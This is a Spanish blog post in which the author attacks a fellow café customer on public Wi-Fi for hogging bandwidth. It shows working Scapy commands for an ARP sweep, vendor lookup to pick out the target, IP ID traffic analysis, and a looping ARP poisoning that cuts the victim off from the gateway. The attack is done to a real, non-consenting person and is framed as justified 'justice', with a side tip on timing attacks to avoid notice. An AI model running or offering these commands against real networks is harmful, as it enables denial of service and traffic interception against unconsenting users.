Ajusticiando con Scapy

Todos los fines de semana, Gesolmina y yo acostumbramos ir a desayunar a un conocido Café del centro porteño, y mientras ella lee Il Corriere della Sera, yo me dedico a Webear con la MacBook.

Cada fin de semana también, hay un sujeto que va a desayunar a ese mismo Café, y sistemáticamente se dedica a bajar música y películas, consumiendo casi totalmente el ya reducido ancho de banda que tiene el lugar.

Después de varias semanas de indignación, ante una actitud tan poco considerada hacia todos los que vamos a ese Café para usar el Wi-Fi, decidí hacer justicia por mano propia... y ajusticiarlo con Scapy! ;)

Entonces, ¿ por donde comenzamos ? la estrategia seria muy simple, le haríamos un ARP Poisoning para cambiarle la MAC a la IP de su Gateway y que de esta forma no pueda realizar ninguna conexión hacia Internet.

Pero antes tendríamos un desafío, que es identificar cual es la dirección IP de nuestra víctima. Como dato conocido, sabemos que la laptop es una Compaq ya que el logo es fácilmente visible.

Vamos a comenzar la búsqueda realizando un ARP Ping en la LAN, con el objetivo de analizar las direcciones MAC recibidas e identificar que placas de red fueron fabricadas por Compaq.

kfs:~/coding root# ./scapy.py
Welcome to Scapy (1.2.0.2)
>>> ans,unans = srp( Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.210.0/24"), timeout = 2 )
Begin emission:
Finished to send 256 packets.
Received 259 packets, got 5 answers, remaining 254 packets
>>> for snd,rcv in ans:
...   print rcv.sprintf("%Ether.src% = %ARP.psrc%")
...
00:50:7f:28:99:67 = 192.168.210.50
00:03:2f:30:b2:fc = 192.168.210.60
00:80:5F:B1:C6:16 = 192.168.210.100
00:90:96:A2:E6:26 = 192.168.210.103
00:10:E3:12:A6:33 = 192.168.210.105
>>>

Esto también lo podríamos haber hecho con una función interna de Scapy llamada arping, que posee el mismo código que lo que hicimos nosotros. Ej: arping("192.168.210.0/24")

Una vez que tenemos todas las direcciones MAC de la LAN, vamos a buscar a que fabricante corresponde cada una comparando los primeros 6 caracteres de cada dirección. La lista de MAC-Fabricante la podemos sacar de la IEEE, o también podemos utilizar la que viene con Nmap: "nmap-mac-prefixes"

Como el interprete interactivo de Scapy, es en realidad el mismo que Python, vamos a usar unas simples lineas de Python para realizar la comparación de las MAC encontradas contra el archivo "nmap-mac-prefixes":

>>> def LimpiarMAC(macdir):
...   macdir = macdir.replace(':','')
...   macdir = macdir[:6]
...   macdir = macdir.upper()
...   return macdir
...
>>> archivo = open('/usr/local/share/nmap/nmap-mac-prefixes','r')
>>>
>>> for snd,rcv in ans:
...   print rcv.sprintf("%Ether.src% = %ARP.psrc%")
...   macdir = LimpiarMAC(rcv.hwsrc)
...   for linea in archivo:
...     if linea.find(macdir) != -1:
...       print linea
...   archivo.seek(0)
...
00:50:7f:28:99:67 = 192.168.210.50
00507F DrayTek

00:03:2f:30:b2:fc = 192.168.210.60
00032F Global Sun Technology

00:80:5F:B1:C6:16 = 192.168.210.100
00805F Compaq Computer

00:90:96:A2:E6:26 = 192.168.210.103
009096 Askey Computer

00:10:E3:12:A6:33 = 192.168.210.105
0010E3 Compaq Computer

>>> archivo.close()
>>>

Como podemos ver, solamente hay dos sistemas en la LAN que poseen direcciones MAC de Compaq.

¿ Como podemos saber cual de los dos es nuestra víctima ? podemos presumir, muy fehacientemente, que quien se encuentre generando mayor trafico es a quien estamos buscando.

Para estimar el consumo de trafico vamos a realizar lo que se conoce como IP ID Analysis, donde simplemente vamos a analizar de que forma se incrementa el campo ID del protocolo IP.

Este campo tiene un valor numérico que se incrementa de 1 en 1 por cada conexión, si un sistema esta realizando muchas conexiones, obviamente el incremento sera mucho mayor y nos permitirá detectar a nuestra víctima.

Hay algunos SO's y Firewall's que randomizan el valor del campo ID, otros SO como Linux lo mantienen siempre en 0, esto evitaría que podamos hacer este tipo de análisis. Afortunadamente para nosotros, aquí solo nos hemos topado con workstations con Windows, que se imaginaran no hace nada de esto.

Comencemos el análisis con la primera IP: 192.168.210.100

>>> a,b = srloop( IP(dst="192.168.210.100")/TCP(sport=RandShort()), prn=lambda(s,r):r.id )
RECV 1: 2142
RECV 1: 2143
RECV 1: 2144
RECV 1: 2145
RECV 1: 2147
RECV 1: 2148
RECV 1: 2149
RECV 1: 2150
RECV 1: 2151
RECV 1: 2152
^C    
Sent 25 packets, received 25 packets. 100.0% hits.
>>>

Claramente podemos observar que casi todos los ID's se van incrementando de 1 en 1, por lo que podríamos pensar que esta no es nuestra víctima.

Ahora analicemos la segunda dirección IP: 192.168.210.105

>>> a,b = srloop( IP(dst="192.168.210.105")/TCP(sport=RandShort()), prn=lambda(s,r):r.id )
RECV 1: 16180
RECV 1: 16541
RECV 1: 16950
RECV 1: 17366
RECV 1: 17728
RECV 1: 18152
RECV 1: 18487
RECV 1: 18861
RECV 1: 19214
RECV 1: 19588
RECV 1: 19955
RECV 1: 20309
RECV 1: 20645
RECV 1: 20993
^C
Sent 30 packets, received 30 packets. 100.0% hits.
>>>

En este caso podemos observar que cada ID que recibimos se fue incrementando en valores totalmente dispares, lo que significa que este sistema esta generando muchas conexiones y es a quien estamos buscando.

También podríamos visualizar estos resultados en forma gráfica de la siguiente forma:

a.diffplot ( lambda (s1,r1), (s2,r2): (r2.id-r1.id) )

Si hubiéramos generado un gráfico del caso anterior veríamos simplemente una linea roja sobre el eje, mientras que en este caso podemos apreciar distintos picos de mayor y menor trafico. A mayor cantidad de paquetes recibidos, el gráfico se puede visualizar mucho mejor.

¿ Para que otra cosa nos puede servir la estimación de trafico ? en un Penetration Testing por ejemplo, si analizamos las 24hs del Host que vamos a auditar, podemos descubrir en que horario hay mayor cantidad de trafico y por lo tanto nuestro ataque pasaría un poco mas inadvertido. También hay gente que ha utilizado esta técnica para especular en la Bolsa, intentando detectar que empresas reciben mas trafico que de costumbre en situaciones particulares, pero no se los recomiendo para nada...

Finalmente pudimos descubrir cual es la dirección IP de nuestra víctima, y ahora vamos a realizar el ARP Poisoning:

>>> s = ARP(op="who-has", psrc="192.168.210.50", pdst="192.168.210.105", hwdst="00:10:E3:12:A6:33")
>>> send(s, inter=3, loop=1)

El Poisoning también lo podríamos hacer con un ARP Reply (op="is-at"), pero algunos SO's ya toman algunas precauciones respecto a esto, y aparte deberíamos estar seguros de que el SO ya genero un ARP Request, sino no va a aceptar nuestro Reply. A causa de todo esto, siempre es conveniente hacer el Poisoning con un ARP Request (op="who-has").

Como podemos observar, en el ARP Request estamos definiendo la MAC de nuestra víctima, lo que puede parecer un poco raro ya que el propósito de un ARP Request es averiguar cual es la MAC de la IP por la que estamos preguntando y generalmente se la envía al Broadcast ("ff:ff:ff:ff:ff:ff"). Pero esto no es inusual en una LAN, ya que se lo suele utilizar para mantener una especie de keep-alive entre los host's.

Con este Poisoning la víctima tendría la IP del Gateway con nuestra MAC, si no queremos que nos lleguen los paquetes a nosotros podemos cambiarlo definiendo la opción "hwsrc=OTRA_MAC". También definimos en el comando send() que envíe ese paquete cada 3 segundos en un Loop infinito.

Para finalizar, hay muchas cosas que se podrían haber hecho para llegar al mismo objetivo, pero la idea era simplemente jugar un poco con Scapy. Próximamente voy a postear sobre ataques un poco mas complejos e interesantes que también podemos hacer.